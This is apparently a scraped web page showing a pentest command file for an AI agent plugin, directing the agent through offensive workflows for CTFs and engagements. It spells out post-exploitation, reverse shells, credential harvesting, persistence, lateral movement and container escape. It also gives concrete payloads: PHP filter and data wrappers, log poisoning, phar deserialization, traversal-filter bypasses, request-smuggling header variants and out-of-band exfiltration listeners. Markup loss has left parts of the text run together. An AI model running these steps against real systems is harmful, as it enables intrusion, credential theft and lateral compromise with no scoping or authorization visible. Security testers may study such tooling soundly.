/post-exploit | MANDATORY on any foothold (step 10a). A foothold is command execution OR credential material that reaches an internal service. Initial access obtained — privilege escalation (LinPEAS/WinPEAS), credential harvesting, persistence assessment, pivot prep. This is a hard gate — do NOT skip when either trigger fires |
/container-k8s-security | MANDATORY when RCE is confirmed in a container/K8s environment (step 10a). Container escape, K8s RBAC abuse, SA token exploitation, namespace traversal, secret enumeration. Triggered by: kubepods in cgroup, /.dockerenv, KUBERNETES env vars, SA token at default path |
/reverse-shell | Chain FIRST in step 10a when RCE is blind (no direct output). Generate platform-specific payload and set up listener in Kali. Transforms blind command injection into interactive shell for efficient post-exploitation |
/ad-assessment | Active Directory domain discovered — ADCS, delegation, ACLs, GPO, BloodHound attack paths, trust analysis |
/email-security | Email services found (SMTP on 25/465/587) — SPF/DKIM/DMARC audit, open relay, spoofing test |
/lateral-movement | Credentials obtained via post-exploit — pass-the-hash, Kerberoasting, NTLM relay, SMB relay, WMI/WinRM abuse |
/cloud-security | AWS/Azure/GCP infrastructure found — IAM escalation, public storage, serverless, database exposure, compliance mapping. Also chain from step 10a when cloud metadata service is reachable |
/ai-redteam | LLM/AI endpoint discovered — OWASP LLM Top 10 assessment |
/threat-modeling | When user explicitly requests a threat model — STRIDE analysis + attack tree |
/remediate | When user explicitly requests code fixes — generates specific remediations for every finding |
/gh-export | When user explicitly requests issue filing — formats findings as GitHub issue blocks |
How to chain: At the trigger point, invoke the sub-skill then resume the pentest.
skill: "<name>", args: "<arguments>"cat ~/.config/opencode/commands/<name>.md — then follow its workflow inline with the provided argumentsnext.required — every tool response includes a next.required field telling you what to call next. Follow itsession(action="recovery") to get your next actionsession(action="start", options={...}) is mandatory — never run any other tool before it/credential-audit instead. The dedicated skill handles cross-service spraying, username-derived passwords, lockout detection, platform-aware enumeration, and intelligent wordlist generation that ad-hoc commands will miss. This is the #1 cause of missed findings./post-exploit, /network-assess (if internal hosts found), and if containerized, /container-k8s-security. The difference between "credentials found" and "full database compromise + RCE" is one pivot step. This is the #2 cause of missed findings (after skipping credential audit).kali(command="cat ~/.config/opencode/commands/<name>.md"), (3) scan the sub-skill for techniques you have NOT yet tried, (4) pick the highest-priority untried technique and resume. Quick mapping — what to read when stuck: injection (SQLi/CMDi/SSTI/XXE/SSRF) → /web-exploit; authentication/authorization bypass → /web-exploit then /credential-audit; post-RCE / nothing to show for confirmed execution → /post-exploit; network/internal pivoting → /network-assess; cloud → /cloud-security; deserialization (Java/PHP/Python/YAML) → /web-exploit. Repeating the same approach with minor variations is the #3 cause of missed findings — the sub-skills contain specialist techniques and edge cases that are not in this file.session(action="complete", options={...})kali(command=...) on recon)report(action="finding", data={...}) for every confirmed vulnerability — include raw tool output as evidence. Finding granularity rule: file one finding per technique per endpoint — "SQLi in /search param q" and "SQLi in /products param category" are two separate findings, not one. Each instance must be independently actionable for a developer to fix. Batch findings only when all instances are identical (same technique, same endpoint, same root cause, same fix).report(action="diagram", data={...}) after initial recon to capture the discovered topologyreport(action="diagram", data={...}) again at the end of the scan with a full application/component map — even for pure web targets. Include every route, feature, and integration tested so the diagram reflects the complete attack surface covered.flowchart TD (not graph TD)A["Login /api/auth"]—) or other Unicode punctuation inside labels — use plain ASCIILoginAPI, DB, FTPflowchart TD
Browser["Browser (Angular SPA)"] --> API["REST API /api/*"]
API --> DB["SQLite Database"]
API --> FTP["FTP Directory /ftp/"]
http(action="save_poc", ...) for every confirmed exploit — pair it with http(action="request", options={"poc": true}). Never skip this step even if report(action="finding", data={...}) was already called.report(action="note", data={...}) liberally — call it before every tool to explain why you are running it and what you expect to find, and after every significant result to record what you concluded from it. This is the audit trail for the entire decision chain. Do not batch multiple tool calls without a preceding report(action="note", data={...}) explaining the intent.2>/dev/null in kali(command=...) commands — it silently hides errors and makes failures look like empty results. Let stderr through so failures are visible./usr/share/seclists/Discovery/Web-Content/common.txt. Fallback: /usr/share/wordlists/dirb/common.txt (dirb package). Always check the path with ls if a tool returns no output.session(action="stop_kali") at the end if kali(command=...) was usedhttp(action="request", ...) with poc=True — only set this flag when the request is a confirmed, report-worthy exploit (e.g. a working SQLi payload, an authenticated bypass, a proven SSRF). This routes the request through Burp Suite so it lands in HTTP History. Do NOT use poc=True for recon probes, fingerprinting, or speculative checks.http(action="save_poc", ...) — call this alongside http(action="request", options={"poc": true}) for every confirmed exploit. Write a descriptive title (e.g. sqli-login-username) and include the vulnerability description in notes. The saved .http file can be pasted directly into Burp Repeater.run_httpx confirms a web target is up AND before you run any parameter fuzzing or deep enumeration, you MUST issue GET requests for: /backup, /backup/, /backup.zip, /backups/, /backup.tar.gz, /site.zip, /source.zip, /www.zip, /app.zip, /.git/HEAD, /.env, /.htaccess, /composer.json, /package.json, /readme.txt, /server-status, /.well-known/security.txt, /api/docs, /swagger.json. Any response that is not a 404 (2xx, 301, 302, 403 with body, directory listing) → STOP everything else and download/read the leaked content before returning to the scan. This is not a "when stuck" rule — it runs on every web target regardless of whether you have a plan. Leaked source collapses most challenges to a single request; burning 30 minutes black-box fuzzing a target whose /backup.zip is world-readable is the single most common failure mode..git/HEAD, .env, .htaccess, composer.json, package.json, readme.txt, /wp-content/plugins/, backup files (index.php.bak, app.py~, .orig, .swp), directory backups (/backup/, /backup.zip, /backups/, /backup.tar.gz, /site.zip, /source.zip, /www.zip, /app.zip), framework error pages, /server-status, /.well-known/security.txt. See /web-exploit Phase 1b for the full probe list. Reading one config file often reveals the filter regex, the flag path, the env var name, or the plugin CVE — any of which collapses the challenge to a single request. When you reach a new internal backend via SSRF/smuggling, the first thing to probe is /backup* and /.git/ — leaked source is the fastest route to the gadget chain.katana and most crawlers skip display:none, visibility:hidden, and JS-defined routes). For every authenticated page AND every page that has forms, manually extract every href, src, action, formaction, and fetch(...) URL from the raw HTML AND from linked JS bundles. Register any new endpoints in the coverage matrix. The flag endpoint in CTFs and the real admin route in real apps are almost always in this hidden set. Command: curl -s URL | grep -oE '(href|src|action|formaction)=["\x27][^"\x27]+' | sort -u.\x80\x04/\x80\x05 = Python pickle (RCE via pickle.loads); eyJ = JWT (check alg=none, kid injection, secret brute); rO0AB = Java serialized object (ysoserial); O: = PHP serialized object. Base64-decode, zlib-decompress, URL-decode — nested serialization layers are common. An opaque cookie is almost never actually opaque; it's serialized data with a guessable format. See /web-exploit Phase 3.HEAD, OPTIONS, PUT, DELETE, PROPFIND, LOCK, BOGUS, FOO). Apache <Limit> and J2EE <security-constraint> only enforce auth on verbs they list; unlisted verbs bypass auth entirely and still execute the handler. See /web-exploit refs/parameter-tampering.md.interactsh-client -n 1 -o /tmp/interactsh.log &, note the generated subdomain, inject payloads that trigger DNS lookups or HTTP requests to that subdomain, then cat /tmp/interactsh.log to read the captured data. See /web-exploit refs/oob-exfil.md for per-vuln-class payload patterns./web-exploit refs/idor-advanced.md./wp-content/, /sites/default/, /administrator/, <meta name="generator"> with WordPress/Drupal/Joomla, X-Generator header), immediately run the CMS-specific scanner (wpscan for WordPress, droopescan for Drupal, joomscan for Joomla) before continuing generic fuzzing. Plugin CVEs are the dominant attack surface on CMS targets — generic ffuf/nuclei scans miss most of them. After the scanner completes, cross-reference every listed plugin against searchsploit <plugin>. See /web-exploit refs/cms-cves.md.password, api_key, token, or recovery_token columns, the win condition is almost always on a DIFFERENT endpoint (the login page, the admin dashboard, the password reset flow). Do NOT keep pounding the SQLi sink trying to dump the flag — pivot the extracted credentials to every auth endpoint on the target. The SQLi is the stepping stone; the authenticated path is the win. See /web-exploit refs/sqli.md.{% include user_var %} or equivalent, check whether the uploaded file path can be reached by the include. This is stored SSTI: upload a Jinja/Twig/Freemarker fragment to the shared path, trigger via the include parameter. See /web-exploit refs/ssti.md.include() / require() hits a target file, the file is parsed as PHP and its contents are not echoed. If a straight include yields empty output, walk this ladder in order before giving up:
php://filter/convert.base64-encode/resource=<file> — returns raw file bytes as base64 regardless of the file type. Works when the sink is include/require/file_get_contents/readfile and you control the full path prefix.data://text/plain;base64,<b64 of <?php ... ?>> — RCE if allow_url_include=On.PREFIX . $user), inject PHP in the User-Agent header of a normal request, then include one of: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/httpd/access_log. Also try /proc/self/environ, /proc/self/fd/N, PHP session files at /tmp/sess_<PHPSESSID> or /var/lib/php/sessions/sess_<PHPSESSID>. Dockerfile hint: if chmod 0777 is visible on any log file in the app's source, that log file is the intended poisoning target.phar:// + file upload — when any other endpoint accepts a file write (even a .jpg), upload a polyglot phar with a serialized gadget and trigger deserialization via phar:// wrapper.str_replace('../', '', $x) is defeated by ....//; double-pass needs ....////; regex-based filters are defeated by URL double-encoding (%252e%252e%252f) or UTF-8 overlong (%c0%ae).http_request, not bash variable substitution — when crafting LFI/RFI/XXE/deserialization payloads containing base64-encoded PHP, user-agents with <?php ... ?>, or URL-encoded filter wrappers, send them via the http_request tool with the full literal URL and headers. Never build the URL or body as $B64_PAYLOAD / ${FOO} style variables inside a kali tool shell script — the kali tool runs commands under bash -c but each call is a fresh shell and variables set in one call do not persist to the next. A previous benchmark burned a full 70-minute budget trying log poisoning because every request was curl "http://target/post.php?id=$B64_LOG" where $B64_LOG had been exported in a separate kali call and was empty by the time curl ran. If you must use a shell, echo the literal payload into a file and curl --data-urlencode @/tmp/payload, or pipe echo <literal> | curl ... --data @-. Or better: use http_request directly.http://172.17.0.1:<port> instead — the docker0 gateway is the host, and every container can reach its own host. Start the listener on kali bound to 0.0.0.0:<port>, and publish/expose that port on the host if Kali is itself running in a container; then point the target at http://172.17.0.1:<port>/<path>. If that fails, the target may also reach host.docker.internal on Linux Docker 20.10+. Only fall back to interactsh public endpoints if no Docker bridge route works.HTTP 200 or HTTP 405 Method Not Allowed on a GET request almost never means "dead endpoint". It usually means the handler is gated by nginx limit_except POST { deny all; }, an Apache <Limit GET> block, or a framework router that only registered POST for that route. When enumerating an internal service, always probe each discovered path with all of GET, HEAD, POST, OPTIONS — OPTIONS is especially informative because it returns the Allow: header listing the supported methods. For POST endpoints, try empty bodies and a handful of common parameter shapes (data, payload, input, file, file_path, url) before concluding the handler is uninteresting./A/B/C, fuzz /A/{wordlist}/C — hidden endpoints in real apps and CTFs almost always follow a pattern established by one visible endpoint. If you discover /devices/wifi_chipset/status, the flag is very likely reachable at /devices/<word>/status for some word in a short list like flag, admin, secret, internal, root, config, debug, system, hidden, private, backup, info, env. Same applies to /api/v1/X/action, /user/<id>/profile, /cmd/<name>/run, etc. Feed the pattern to ffuf or feroxbuster with the {parent} component fuzzed from /usr/share/seclists/Discovery/Web-Content/common.txt. Do this before manually guessing specific names — the solve is almost never a name you would have guessed.Transfer-Encoding: chunked + Content-Length: N attempt will rarely land the smuggled request on the right backend. When a smuggled GET /devices/flag/status returns 404 or 503 while the external path works, cycle through the variant matrix systematically: (1) CL.TE canonical with exact chunk sizing, (2) TE.CL with Transfer-Encoding: chunked + wrong Content-Length, (3) TE.TE with duplicate TE headers (one with obfuscation like Transfer-Encoding: x\r\nTransfer-Encoding: chunked, Transfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n, Transfer-Encoding:\x00chunked, Transfer-Encoding:\tchunked, Transfer-Encoding: ,chunked, Transfer-Encoding: chunked, identity), (4) CL.0 (Content-Length without body), (5) TE.0 / CL:0, TE:chunked with empty body, (6) header continuation smuggling (CR-LF folding in header values), (7) HTTP/2 → HTTP/1.1 downgrade attacks (if the front-end speaks h2), (8) chunk-extension smuggling (1;x=y\r\n...). Keep a log of which variants you tried. Also check the upstream proxy version in response headers (Server:, Via:, X-Upstream-Proxy:) against CVE databases for smuggling — the 2.0-2.4 HAProxy branch in particular has several published primitives. kali_exec("smuggler.py -u URL --log smuggle.txt") when available will enumerate many of these automatically.When your context is compacted mid-scan:
/pentester to reload this full workflow:
skill: "pentester", args: "..."cat ~/.config/opencode/commands/pentester.md — re-read it in full before doing anything elsesession(action="recovery") — this returns a compact recovery brief with:
resume_from_step — the earliest incomplete workflow stepcoverage_in_progress — cells you were mid-test on, WITH notes about what payloads/techniques were already triedpending_escalations — findings with follow-up leads you haven't pursued yetaction_required — prioritized list of what to do nextescalation_leads status=pending represent attack paths you discovered but didn't finish pursuing/web-exploit hasn't run, it must run. If ffuf hasn't completed, run it. Having findings does NOT mean scanning is donetools_already_runTo survive context compaction, you MUST preserve your testing state in the coverage matrix:
in_progress with notes about what you're about to try
report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "in_progress", "notes": "Starting SQLi testing"})
report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "in_progress", "notes": "Union blocked by WAF. Error-based blocked. Trying blind time-based next."})
tested_by tool name
report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "tested_clean", "notes": "All SQLi variants tested — input properly parameterized", "tested_by": "sqlmap"})
tested_by tool as integrity violations at completion time.report(action="finding", data={..., "escalation_leads": [
{"lead": "Crack admin hash from users table dump", "status": "pending"},
{"lead": "Try --os-shell for RCE via SQLi", "status": "pending"},
{"lead": "Dump sessions table for active tokens", "status": "pending"}
]})
This state survives compaction. After recovery, session(action="recovery") reads it all back and tells you exactly where to resume.
Files this command reads when invoked
What the command file sets; muted values are Claude Code's defaults
7-day visitors to each command page
/agent-smith:pentester scan <target> [depth=recon|standard|thorough] [resume=<engagements/name>|auto] [max_cost_usd=N] [max_time_minutes=N]from agent-smith
npx claudepluginhub 0x0pointer/skills --plugin agent-smithOther plugins' commands for the same job